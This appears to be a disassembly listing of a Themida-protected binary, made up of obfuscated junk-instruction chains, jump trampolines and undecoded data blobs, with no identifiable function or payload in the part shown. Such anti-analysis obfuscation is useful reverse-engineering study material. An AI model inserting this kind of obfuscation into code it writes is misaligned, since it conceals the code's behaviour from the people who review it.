mov [esp], eax
push 1C7Fh
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
not edi
jmp loc_545F88
; ---------------------------------------------------------------------------
dw 248Bh
dd 66F1F624h, 0E9CCB60Fh, 7BA5h, 9731F581h, 0E989C2ECh
dd 64DE95Dh, 34FF0000h, 0FA685924h, 89000031h, 0FF542414h
dd 565A2434h, 0C681E689h, 4, 51F3E9h, 71BF5700h, 8138EF6Ch
dd 1E38A8C5h, 81FD2925h, 1E38A8EDh, 0A197E925h, 0C3810000h
dd 4, 5C241C87h, 0ED81D501h, 6AF95ECDh, 242C335Ah, 33242C31h
dd 248B242Ch, 9CC88424h, 0FFE41BE9h, 3884BBFFh, 0EB813772h
dd 658A08EBh, 8103EBC1h, 0A62ED4E3h, 0C6E3810Dh, 0E9327476h
dd 1DCDh
; ---------------------------------------------------------------------------
loc_542F7C: ; CODE XREF: Themida_:00543D16j
add ebp, ecx
pop ecx
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5413A2
; ---------------------------------------------------------------------------
dw 0EA81h
dd 39FE5CFBh, 24148758h, 124248Bh, 0E99C2404h, 0FFFFE3D8h
dd 4508EF81h, 0C7811A43h, 192F3145h, 51BBE9h, 9BC38100h
dd 0E93E7966h, 0FFFFE5E5h, 7D6B9268h, 0C2815A6Ch, 6FEC5D66h
dd 0E95AD589h, 532Eh
; ---------------------------------------------------------------------------
loc_542FD0: ; CODE XREF: Themida_:00543A5Ej
xchg edi, [esp]
pop esp
push dword ptr [esp]
pop edx
push 659Fh
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_548187
; ---------------------------------------------------------------------------
db 5Ah, 83h, 0ECh
dd 24148904h, 806AB450h, 0C4FEA5E4h, 5302E4C0h, 0F659B151h
dd 89C180D1h, 59CF88h, 0F4A5E9FCh, 1433FFFFh, 24143124h
dd 8B241433h, 0E9F62424h, 0AA52E9h, 0E9E98900h, 8E9Fh
dd 66FE3166h, 3166F231h, 0F23166D6h, 2EC81h, 89660000h
dd 0FF662414h, 0E9022474h, 5AE7h, 0C8BC801h, 4C48124h
dd 83000000h, 0E95002C0h, 0FFFFF7B3h, 2A9E95Bh, 0C5810000h
dd 4, 4ED81h, 2C870000h, 12E924h, 0D8010000h, 0E9C8015Bh
dd 22A5h
; ---------------------------------------------------------------------------
loc_543084: ; CODE XREF: Themida_:0054D126j
add eax, 2
jmp loc_543CDD
; ---------------------------------------------------------------------------
dd 240C895Ch, 0C181E189h, 4, 0F6B850h, 0F23513CDh, 0E913CD00h
dd 0FFFFEFF2h, 83243C8Bh, 0C08304C4h, 4EC8102h, 0E9000000h
dd 9E7Dh, 4EC815Fh, 89000000h, 74FF2434h, 6EE90424h, 0FE00006Bh
dd 0E7EF80CFh, 22E9042Ch, 8900006Eh, 4C781E7h, 81000000h
dd 4ECh, 24048900h, 4B8h, 58C70100h, 0FFE380E9h, 240483FFh
dd 24048F04h, 4240481h, 5D000000h, 0C9BF5751h, 0B9028F00h
dd 1CEF391Bh, 815FF901h, 951EB7F1h, 57F18155h, 14AEB27h
dd 0BE5659CDh, 0BA03C9Dh, 2069F681h, 0C6810C49h, 0F816E310h
dd 875EF501h, 83E9242Ch, 5400002Fh, 3B2E9h
db 0
; ---------------------------------------------------------------------------
loc_543149: ; CODE XREF: Themida_:00542385j
sub eax, 49DB20D1h
sub eax, 6DD72D0Ch
jmp loc_54271E
; ---------------------------------------------------------------------------
dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 81242489h, 42404h
dd 815E0000h, 4ECh, 24048900h, 4B8h, 58C60100h, 710E68h
dd 241C8900h, 4BBh, 0E4C68100h, 13CAE1Bh, 88DDE9DEh, 34330000h
dd 4095C24h, 0CDE99C24h, 0F7FFFFE1h, 81FD87D7h, 0F892B1EDh
dd 685550B6h, 71F640F1h, 94E94D5Dh
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5431C3: ; CODE XREF: Themida_:0054295Aj
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
mov ebx, 4
add ebp, ebx
push dword ptr [esp]
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add esp, 4
add ebp, 2
push 6905h
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_547226
; ---------------------------------------------------------------------------
loc_543210: ; CODE XREF: Themida_:00549984j
xchg ecx, [esp]
pop esp
mov [esp], edx
jmp loc_5498F5
; ---------------------------------------------------------------------------
dd 0AFEE8158h, 89F3B3F2h, 44315EF0h, 77E90424h, 1000016h
dd 49B768C3h, 4890000h, 224EE924h, 8B660000h, 8568240Ch
dd 89000015h, 0EC81240Ch, 4, 24048F54h, 4240483h, 43E95059h
db 4Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54325F: ; CODE XREF: Themida_:005472A6j
add ebx, edx
jmp loc_54A512
; ---------------------------------------------------------------------------
dw 0F589h
dd 3FB0BE5Eh, 0EE297D0Bh, 55242C8Bh, 0C5815D54h, 4, 4C581h
dd 2C870000h, 29E95C24h
db 7, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54328B: ; CODE XREF: Themida_:00549839j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
sub esp, 4
mov [esp], edx
mov edx, 2A4F6210h
sub edx, 0E4C60853h
push ebx
mov ebx, 6EDF3502h
jmp loc_543452
; ---------------------------------------------------------------------------
loc_5432B7: ; CODE XREF: Themida_:00542CA8j
sub esp, 4
mov [esp], edi
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_543539
; ---------------------------------------------------------------------------
db 81h
dd 584A7CC6h, 81EE0178h, 584A7CEEh, 0F4C68178h, 0FF62BE1Dh
dd 34FF2434h, 96E95D24h
db 16h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5432F7: ; CODE XREF: Themida_:00543E1Dj
add ebp, ebx
push dword ptr [esp]
pop ebx
add esp, 4
push ecx
jmp loc_543560
; ---------------------------------------------------------------------------
db 59h, 2 dup(0E9h)
dd 81FFFFECh, 0BE7175E2h, 16F7E938h, 0EE810000h, 36546B5Eh
dd 34FFF501h, 24348B24h, 565D5455h, 4BEh, 7822E900h, 814F0000h
dd 0C76E69C7h, 14F7572Eh, 0EF815F24h, 0C664332Fh, 5181C581h
dd 0FD0121B0h, 5181ED81h, 3C8B21B0h, 0E9545724h, 8012h
dd 0EDEE840Fh, 5150FFFFh, 34516856h, 815E74CEh, 0A531A9F6h
dd 0DEC6810Ah, 4655704Ah, 4FD9EE81h, 0F189D3DBh, 59C8895Eh
dd 8004E9h, 5991BF00h, 0EFC1613Ch, 8374E905h, 34FF0000h
dd 0EC835924h, 243C8904h, 0E8E95F54h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5433AB: ; CODE XREF: Themida_:0054BC6Fj
mov eax, [esp]
add esp, 4
std
push 1218h
mov [esp], edx
mov edx, 2BF060FDh
push edx
not dword ptr [esp]
pop edx
shl edx, 5
sub edx, 1
push edx
xchg edx, [esp]
jmp loc_548B85
; ---------------------------------------------------------------------------
db 0FFh
dd 669D1C77h, 1CD36659h, 95E99C24h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5433E3: ; CODE XREF: Themida_:00546BFAj
dec edx
add edx, 6EBB5053h
push ebx
jmp loc_542240
; ---------------------------------------------------------------------------
aI4R1yls db '‰4$¾à1Ylé,',0Ah,0
dd 0ABD5500h, 817B4814h, 86281FCDh, 5045E916h, 68AC0000h
dd 6CAEh, 0B5240C89h, 0E9C5FE15h, 4EC0h
; ---------------------------------------------------------------------------
loc_543420: ; CODE XREF: Themida_:005428F5j
add edi, ecx
jmp loc_544551
; ---------------------------------------------------------------------------
db 66h
dd 660AD1BAh, 0EA81664Ah, 81662F67h, 66DB6AEAh, 0F0E9D029h
db 81h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54343F: ; CODE XREF: Themida_:0054598Aj
sub esi, 2DF34386h
not esi
sub esi, 5001392h
jmp loc_543BB0
; ---------------------------------------------------------------------------
loc_543452: ; CODE XREF: Themida_:005432B2j
shr ebx, 1
jmp loc_54C77C
; ---------------------------------------------------------------------------
db 2Dh, 2, 0
dd 5EE90000h, 5900008Ah, 31A4E9h, 15F5A00h, 0E9555EF3h
dd 0FFFFEE8Dh, 4C481h, 8B660000h, 89572414h, 52468E7h
dd 1C890000h, 70685224h, 0E9432C43h, 6373h
; ---------------------------------------------------------------------------
loc_543494: ; CODE XREF: Themida_:00546F58j
pop esp
jmp loc_546E90
; ---------------------------------------------------------------------------
dw 4168h
dd 8900003Ah, 5253242Ch, 0C61FEEBAh, 0EAC14A4Dh, 71D9E903h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5434B2: ; CODE XREF: Themida_:0054D5C2j
sub ebp, 4
xchg ebp, [esp]
jmp loc_5440A0
; ---------------------------------------------------------------------------
loc_5434C0: ; CODE XREF: Themida_:005458EBj
mov eax, [esp]
add esp, 4
jmp loc_54B9EA
; ---------------------------------------------------------------------------
db 81h
dd 5CB594EAh, 0FC58187h, 29651A69h, 0FED81D5h, 5A651A69h
dd 0FFE50EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5434E5: ; CODE XREF: Themida_:00549893j
mov [esp], esi
mov esi, esp
add esi, 4
push edx
mov edx, 2
jmp loc_5470D5
; ---------------------------------------------------------------------------
db 0FFh
a4Xs db '4$Xé"!',0
align 4
dd 4504C483h, 0B850DDF7h, 6A5E46CBh, 0ED2F1035h, 99ED811Eh
dd 0E976624Dh, 1BC2h, 0F6390ABEh, 68E8E97Eh, 77FF0000h
dd 59669D1Ch, 9C241CD3h, 0FFDE3FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_543539: ; CODE XREF: Themida_:005432D2j
xchg edi, [esp]
pop esp
pop edi
loc_54353E: ; CODE XREF: Themida_:0054BAC1j
; Themida_:0054C888j
push 12C6h
mov [esp], ebx
jmp loc_549786
; ---------------------------------------------------------------------------
db 81h
dd 4131A8F1h, 59CB296Fh, 88EB8158h, 0E9687E1Dh, 0FFFFFCCFh
; ---------------------------------------------------------------------------
loc_543560: ; CODE XREF: Themida_:00543304j
mov ecx, 4
jmp loc_54183C
; ---------------------------------------------------------------------------
dw 74FFh
dd 8F5B0424h, 248B2404h, 0C896624h, 0DDFAE924h, 0E94FFFFFh
dd 1213h, 83240C8Bh, 0C6E904C4h
db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54358F: ; CODE XREF: Themida_:00548A2Cj
inc byte ptr [esp]
pop edx
sub dl, 14h
xor al, dl
pop edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_54920D
; ---------------------------------------------------------------------------
db 33h
dd 0C31240Ch, 240C3324h, 6624248Bh, 9C240401h, 0FFDDAFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5435C9: ; CODE XREF: Themida_:005482A4j
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push edi
mov edi, 4
sub ecx, edi
pop edi
xchg ecx, [esp]
pop esp
mov [esp], eax
jmp loc_54449F
; ---------------------------------------------------------------------------
dd 24348157h, 69865999h, 99F3815Bh, 0E9698659h, 8DF3h
; ---------------------------------------------------------------------------
loc_543608: ; CODE XREF: Themida_:0054AE8Dj
neg ebx
sub ebx, 2F02268Fh
sub esi, 3607330Fh
add esi, ebx
add esi, 3607330Fh
pop ebx
jmp loc_54B413
; ---------------------------------------------------------------------------
aU@zIiusys db 'U½@Z',0Dh,'i‰îéYS',0
db 0
; ---------------------------------------------------------------------------
loc_543631: ; CODE XREF: Themida_:0054AC8Aj
add esi, 4
push eax
push ebp
push 0DDE37A1h
pop ebp
push ecx
mov ecx, 58EA7D15h
sub ebp, ecx
pop ecx
sub ebp, 0B4F3BA88h
push edi
mov edi, ebp
jmp loc_548C9B
; ---------------------------------------------------------------------------
dw 0B850h
dd 275781Fh, 0E958C101h, 1126h, 24048B66h, 0E95D5455h
dd 2DA8h, 1000F281h, 0ED814850h, 7E822D13h, 0C581D501h
dd 7E822D13h, 242C335Ah, 33242C31h, 0E95C242Ch, 8022h
dd 2404895Ch, 582414F7h, 2474FF50h, 2453E904h, 248B0000h
dd 21D3E924h, 248B0000h, 48F6624h, 31AFE924h, 15D0000h
dd 0EC8359CEh, 240C8904h, 4B9h, 59CE0100h, 31243433h, 0C7E92434h
dd 52FFFFFAh, 2F26E9h, 24148B00h, 4C481h, 0EE810000h, 68D181Ah
dd 5BE7EE81h, 0BEE97F98h, 81FFFFDEh, 0D757D4CDh, 0F0E58150h
dd 0C12E2E78h, 0ED8104EDh, 40E509h, 835DEF01h, 3C8704C7h
dd 24248B24h, 3BE9D031h, 1000082h, 0A1EE81DEh, 81410009h
dd 7F018CEEh, 0EC835B4Fh, 24048904h, 6574EEB8h, 6E8C13Eh
dd 81BFE9h, 0B0CD8100h, 4D4FD702h, 8102EDC1h, 0A69CCCF5h
dd 5DEF2945h, 78A1E781h, 0EF812686h, 89AE4949h, 815FF989h
dd 0D81EB3E9h, 59CD017Ah, 308CE9h
db 0
; ---------------------------------------------------------------------------
loc_543771: ; CODE XREF: Themida_:0054700Aj
mov esi, 35E80F6Eh
sub ebx, esi
pop esi
jmp loc_54691A
; ---------------------------------------------------------------------------
dw 42B7h
dd 51E9F830h
db 91h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_543787: ; CODE XREF: Themida_:00548CB1j
push dword ptr [esp]
pop ecx
push ebp
push esp
pop ebp
add ebp, 4
push edi
push esi
push 6B24116h
mov esi, [esp]
add esp, 4
xor esi, 6B24112h
mov edi, esi
pop esi
add ebp, edi
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xor ebp, [esp]
jmp loc_54619B
; ---------------------------------------------------------------------------
dw 0C483h
dd 8BF80104h, 0F2E9243Ch, 6800009Bh, 1354h, 7868E9h, 42D00h
dd 4870000h, 2C895C24h, 309DE924h, 15B0000h, 0F43EE9C6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5437F6: ; CODE XREF: Themida_:0054A3E9j
pop ebp
jmp loc_543A2C
; ---------------------------------------------------------------------------
dd 47E5C381h, 0C3293407h, 47E5EB81h, 0C3813407h, 731756E8h
dd 29BBE9h, 241C8900h, 0A813C168h, 2434FF45h, 0FFE0ECE9h
dd 0FE885CFFh, 81241C8Bh, 4C4h, 66F03000h, 8324148Bh, 0E95102C4h
dd 96A9h, 1B22E947h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543846: ; CODE XREF: Themida_:00546F78j
push eax
jmp loc_542C20
; ---------------------------------------------------------------------------
dd 872CD800h, 665B1704h, 0EDB45051h, 8006ECC0h, 0C4FE10C4h
dd 0F480D4F6h, 8BE188F9h, 0C4832404h, 0FCC18004h, 8014C980h
dd 0CB284DC1h, 0FFDF51E9h, 0E8E959FFh, 8000060h, 0EFC05AF7h
dd 79F78002h, 304CB151h, 240C8BCFh, 55E18951h, 727AADBDh
dd 50ED814Eh, 8144690Bh, 0F690A7C5h, 5DE901F5h, 628EE957h
dd 215F0000h, 0C2835FFAh, 0ACF281FFh, 2931E41Ah, 24148BD0h
dd 4C481h, 0B8500000h, 14114827h, 68DFC381h, 0C3291D15h
dd 0FFF2D8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5438DD: ; CODE XREF: Themida_:0054409Bj
mov ebx, 6743F9C8h
sub eax, 78D11942h
sub eax, ebx
add eax, 78D11942h
mov ebx, [esp]
jmp loc_547E68
; ---------------------------------------------------------------------------
loc_5438F6: ; CODE XREF: Themida_:00545CD9j
push edx
mov edx, 531E4219h
shl edx, 1
add edx, 59C37BD2h
add esi, edx
pop edx
xchg esi, [esp]
pop esp
or eax, eax
jz loc_54B8D6
push dword ptr [edi+1Ch]
push eax
push edi
mov edi, 16D83912h
jmp loc_5492DC
; ---------------------------------------------------------------------------
loc_543922: ; CODE XREF: Themida_:005440ACj
push eax
mov ah, bh
mov dh, ah
pop eax
jmp loc_544577
; ---------------------------------------------------------------------------
db 1, 0D0h, 5Ah
dd 5C240487h, 51585450h, 4B9h, 0E9C80100h, 0FFFFEAB1h
dd 0A0FAE954h, 87660000h, 0FE3166F2h, 66F73166h, 0F766FE31h
dd 0FE3166D7h, 0E9F73166h, 0FFFFF6C8h, 2414F755h, 7AAE9h
db 0
; ---------------------------------------------------------------------------
loc_54396D: ; CODE XREF: Themida_:0054D580j
and eax, edx
mov edx, [esp]
push esi
jmp loc_54193A
; ---------------------------------------------------------------------------
dd 4C4835Bh, 0DCDE9h, 348B5400h, 0E6895624h, 4C681h, 0C6810000h
dd 4, 5C243487h, 4EC8152h, 89000000h, 2BD242Ch, 895A607Dh
dd 0EAC15DEAh, 0E9DAF702h, 38D3h, 0EE81DEF7h, 9AC877A7h
dd 0E95EF029h, 5184h, 42A4C681h, 0FE015F02h, 0F460E952h
dd 8B66FFFFh, 0E951240Ch, 5940h, 8B2434FFh, 0C4812404h
dd 4, 0EF0CE951h, 5250FFFFh, 7BB056B6h, 5AF030h, 5D6858C3h
dd 8900005Fh, 0CBB62414h, 148BF320h, 4C48324h, 0FED0B151h
dd 0E5C7E9C1h, 0E681FFFFh, 5CA8154Dh, 4970CE81h, 464E3EDCh
dd 0E902E6C1h, 4121h
; ---------------------------------------------------------------------------
loc_543A2C: ; CODE XREF: Themida_:005437F7j
add esp, 4
push ecx
push edx
mov edx, 52D63A72h
mov ecx, edx
pop edx
not ecx
push ebx
mov ebx, 713207D9h
push ecx
jmp loc_54B2BE
; ---------------------------------------------------------------------------
loc_543A47: ; CODE XREF: Themida_:0054C881j
not ebx
sub ebx, 57867D51h
add edi, ebx
pop ebx
mov edx, [esp]
add esp, 4
add edi, 4
jmp loc_542FD0
; ---------------------------------------------------------------------------
aPG?SV db 'P¸)G?*Áè',7,'V¾',0
align 10h
dd 0F4E90000h
db 39h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_543A77: ; CODE XREF: Themida_:0054AE37j
xor dword ptr [edi+20h], 620000h
loc_543A7E: ; CODE XREF: Themida_:loc_544217j
; Themida_:00544779j
push dword ptr [esp]
mov ebx, [esp]
push 6F68h
mov [esp], edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop edx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5463B4
; ---------------------------------------------------------------------------
dw 5457h
dd 0B850555Fh, 4D1B0751h, 9FE9C589h, 51000003h, 42474FFh
dd 24048F59h, 243C895Ch, 4EC81h, 0D2E90000h, 81FFFFDAh
dd 4E37CBEEh, 440AE93Ah, 8B660000h, 9FE92404h, 68000089h
dd 3F4Ah, 50243C89h, 5A54BD68h, 24048B68h, 4B0FE950h, 0DD890000h
dd 33E1E95Bh, 248B0000h, 7BCD6824h, 0BAE90000h
db 90h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_543B1B: ; CODE XREF: Themida_:0054B49Fj
xor edx, edi
xor edi, edx
xor edx, edi
not edi
push 0BB3h
mov [esp], edx
jmp loc_5426FB
; ---------------------------------------------------------------------------
loc_543B30: ; CODE XREF: Themida_:0054810Bj
pop edi
sub ebx, 1AC713BAh
push esi
mov esi, 31C15BD3h
xor esi, 36704971h
jmp loc_546753
; ---------------------------------------------------------------------------
dd 6DE9EA00h, 5A000002h, 815DEA01h, 4ECh, 242C8900h, 4BDh
dd 5DEA2900h, 5C241487h, 374E9h
db 0
; ---------------------------------------------------------------------------
loc_543B6D: ; CODE XREF: Themida_:00544556j
mov ebx, 4
jmp loc_54D8E2
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483243Ch, 24143304h, 0E9241431h, 802Eh, 0D881E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_543B8E: ; CODE XREF: Themida_:005482DBj
push eax
push edx
push 56432DF1h
mov edx, [esp]
add esp, 4
add edx, 341D36AEh
jmp loc_547BE4
; ---------------------------------------------------------------------------
dw 0D366h
dd 0E99C240Ch, 0FFFFD7C8h
; ---------------------------------------------------------------------------
loc_543BB0: ; CODE XREF: Themida_:0054344Dj
dec esi
add esi, 817B32C6h
add edi, 6E0577D0h
sub edi, esi
sub edi, 6E0577D0h
jmp loc_542740
; ---------------------------------------------------------------------------
a_hT db '_h»t',0
align 10h
dd 7F5AE9h, 240C8700h, 28992D5Ch, 0E95E41C0h, 89F7h, 74045B2Dh
dd 0C950539h, 0C301E3ACh, 8124048Bh, 4C4h, 2647E900h, 0FB290000h
dd 0C383595Fh, 738BE904h, 0DDF60000h, 1246C86h, 0B4505A66h
dd 8E4C027h, 5689E9h
db 0
; ---------------------------------------------------------------------------
loc_543C1D: ; CODE XREF: Themida_:00548B80j
pop edi
add edi, esi
jmp loc_549E4A
; ---------------------------------------------------------------------------
db 58h, 59h, 5Ah
dd 83242C8Bh, 0EC8104C4h, 4, 0B9240C89h, 24h, 2F0AE981h
dd 0ADE91E82h, 80FFFFE4h, 0A9E943C6h, 8100006Ch, 795D1ACFh
dd 0A1C7817Dh, 0E9509466h, 95D8h, 8B24048Fh, 51662424h
dd 8FDFE9h, 96D6F700h, 302CBD55h, 0EDC14F67h, 25B6E906h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543C7E: ; CODE XREF: Themida_:00547BFDj
add esp, 4
add eax, 0FFE2A1Fh
jmp loc_54B434
; ---------------------------------------------------------------------------
dw 0E5E9h
dd 89FFFFD6h, 96BA2414h, 31184778h, 0FA015AD7h, 5F2434FFh
dd 4C481h, 14870000h, 3FBAE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543CB2: ; CODE XREF: Themida_:005457ADj
mov [esp], edx
push edi
mov edi, 5A0C4EC1h
shr edi, 5
xor edi, 72122021h
jmp loc_5487DD
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 4C281h, 0C2810000h, 2, 16D1E9h
db 0
; ---------------------------------------------------------------------------
loc_543CDD: ; CODE XREF: Themida_:00543087j
xchg eax, [esp]
mov esp, [esp]
mov dx, [esp]
jmp loc_548259
; ---------------------------------------------------------------------------
dd 5EBC143h, 0F381D3F7h, 52435B70h, 71CDE9h, 51E28900h
dd 8C5FBFB9h, 2BC18145h, 0E97FF727h, 2EA9h
; ---------------------------------------------------------------------------
loc_543D10: ; CODE XREF: Themida_:00546B9Bj
push ecx
mov ecx, 4
jmp loc_542F7C
; ---------------------------------------------------------------------------
loc_543D1B: ; CODE XREF: Themida_:0054CE72j
dec dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 1EE304B3h
or eax, ebp
pop ebp
push ebp
mov ebp, 6C4C0C74h
push ecx
mov ecx, 40D952CAh
xor ebp, ecx
pop ecx
push ebx
sub esp, 4
jmp loc_54AEB8
; ---------------------------------------------------------------------------
db 81h
dd 892485C6h, 92E956A2h, 81000015h, 0BC5A58F6h, 33C68164h
dd 1F7C5DDh, 0C7835EF7h, 74FF5702h, 8F5F0424h, 0D35C2404h
dd 0E99C240Ch, 9E2h, 4C481h, 8F660000h, 0D5EEE900h, 0D789FFFFh
dd 8124148Bh, 4C4h, 96EA8100h, 17B807Ah, 96C281FAh, 5F7B807Ah
dd 2474FF52h, 48F5A04h, 24248B24h, 0C8B60F66h, 0E9E38953h
dd 6566h, 0DE3AE959h, 8159FFFFh, 4C1h, 4EC8100h, 89000000h
dd 77BA2414h, 81161041h, 104175F2h, 8BD10116h, 0C4812414h
dd 4, 2474FF51h, 5E8FE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543DF2: ; CODE XREF: Themida_:00547877j
mov edi, ebx
pop ebx
sub edi, 656533C4h
inc edi
jmp loc_546169
; ---------------------------------------------------------------------------
db 0E9h, 72h, 0D5h
dd 48FFFFFh, 24248B24h, 4AB0F66h, 61E99C24h
db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_543E17: ; CODE XREF: Themida_:00544921j
add ebx, 0F4D50245h
jmp loc_5432F7
; ---------------------------------------------------------------------------
aRsO db ']R鵎',0
dd 5EEC100h, 0FFE175E9h, 242C89FFh, 440DBB53h, 84E95F42h
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_543E3F: ; CODE XREF: Themida_:005473D7j
mov esp, [esp]
jmp loc_541378
; ---------------------------------------------------------------------------
db 80h
dd 0C980FAC1h, 4EC81DBh, 89000000h, 10E9241Ch
db 20h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_543E5B: ; CODE XREF: Themida_:00546BA6j
mov ebx, ecx
jmp loc_54CFA8
; ---------------------------------------------------------------------------
dw 8158h
dd 0BE5BB2E5h, 0F889E956h, 0CD21FFFFh, 0F1F58159h, 81380001h
dd 2223DC5h, 26C58113h, 29CC60C6h, 8E95DEAh
db 18h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_543E8B: ; CODE XREF: Themida_:0054BCC0j
add esi, 4
push ebx
mov ebx, 40383842h
not ebx
jmp loc_54A25B
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0AC46C505h, 2DC80142h, 42AC46C5h, 20559h, 4870000h
dd 24248B24h, 993EE9h, 24248B00h, 9C2424D3h, 0FFD4ABE9h
dd 136BBEFFh, 0F68131B6h, 0AB11C5h, 525EF501h, 7F7FE9h
dd 24048900h, 4B8h, 24440100h, 148B5804h, 4C48324h, 0FFD47FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_543EF9: ; CODE XREF: Themida_:0054C0F6j
mov edi, 72211D41h
and edi, 4B9175FBh
and edi, 785D6D09h
shl edi, 3
jmp loc_549B06
; ---------------------------------------------------------------------------
loc_543F12: ; CODE XREF: Themida_:00548AC1j
push 0F5h
mov [esp], ecx
push 26BFh
jmp loc_548FEC
; ---------------------------------------------------------------------------
dd 6824048Bh, 15FEh, 54243489h, 8124348Bh, 4C4h, 2FAF6800h
dd 0C890000h, 7097E924h, 0D0BA0000h, 0BB4BD569h, 37D91874h
dd 148BD331h, 4C48124h, 0E9000000h, 5614h, 0FF2434FFh
dd 81582434h, 4C4h, 58545000h, 405h, 42D00h, 3AE90000h
dd 8300003Ch, 8B042404h, 0FDE9240Ch, 8900004Eh, 94CAE9F2h
dd 0BD550000h, 75335D06h, 1E3AE9h, 4C28300h, 5C241487h
dd 8702C683h, 86E92434h, 0AD000043h, 4AAC68h, 243C8900h
dd 0FFF440E9h, 5418B8FFh, 9125596Dh, 40636727h, 0F7E40B2Dh
dd 58C22934h, 0F7EA874Ah, 6E85E9D5h, 34FF0000h, 240C8B24h
dd 8904EC83h, 0E6892434h, 4C681h, 4EE90000h, 68000084h
dd 39F1h, 8F8E9h, 242C3300h, 48B665Ch, 3B966824h, 34890000h
dd 228BE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544012: ; CODE XREF: Themida_:0054742Dj
sub esp, 4
jmp loc_5475A4
; ---------------------------------------------------------------------------
aIisso db '‰ëéáŽ',0
align 4
dd 0E959CB29h, 0FFFFF7D0h, 0AF685D59h, 89000042h, 0A5B9240Ch
dd 0C1017423h, 0E98102E9h, 0F2069E24h, 0E959CA01h, 566h
dd 5E08950h, 4, 8704E883h, 0A6E92404h, 0E9000067h, 0FFFFD314h
dd 5759CA29h, 56769ABFh, 5FFA2900h, 0C281C201h, 56769Ah
dd 570CC281h, 0DDE9663Bh, 1FFFFDBh, 0FB9BE910h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54408A: ; CODE XREF: Themida_:00549A48j
xchg ebp, [esp]
pop esp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], ebx
jmp loc_5438DD
; ---------------------------------------------------------------------------
loc_5440A0: ; CODE XREF: Themida_:005434BBj
pop esp
mov [esp], ebx
mov bh, dl
sub esp, 4
mov [esp], edx
jmp loc_543922
; ---------------------------------------------------------------------------
db 0D1h, 0EBh, 81h
dd 4B4546F3h, 5BD88957h, 706BE9h
db 0
; ---------------------------------------------------------------------------
loc_5440C1: ; CODE XREF: Themida_:005456F6j
mov eax, 0BBA532Fh
and eax, 61E269E3h
shr eax, 4
push edx
mov edx, 1BB0BCFh
add eax, edx
pop edx
neg eax
sub eax, 6DFF6093h
jmp loc_54C0E5
; ---------------------------------------------------------------------------
db 66h
dd 0B0240489h, 116CE9F2h, 148B0000h, 4C48124h, 81000000h
dd 4D6861CAh, 81D2F75Ah, 0A03B52F2h, 0A9C28161h, 897A539Ah
dd 87D2E9D0h, 61E90000h, 8BFFFFD2h, 0C481242Ch, 4, 0E945D5F7h
dd 95E3h
; ---------------------------------------------------------------------------
loc_544128: ; CODE XREF: Themida_:0054C8AAj
shr al, 5
add al, 23h
add bl, al
pop eax
push edx
push 6868h
mov [esp], ebp
mov ebp, 3FCh
jmp loc_5469E8
; ---------------------------------------------------------------------------
db 0F7h
dd 0E84305D0h, 0A3E9CA75h, 0C1000024h, 22E905EDh, 45000070h
dd 0D669C581h, 0AE9A49Ah, 87000021h, 30E6E9D9h, 0C4810000h
dd 4, 0B1515366h, 0F6C9FE59h, 80D1F6D1h, 0F18025E9h, 59CB8805h
dd 5B66DE28h, 3BE9DE28h, 8100007Fh, 0B67758C3h, 37B1E96Ah
dd 3C890000h, 25E95424h, 50000088h, 6851E089h, 77ABh, 68241C89h
dd 55924D9Fh, 1663685Bh, 34890000h, 4210BE24h, 0C1462F38h
dd 0F68107E6h, 0A4B21A04h, 835EF301h, 348904ECh, 1D39E924h
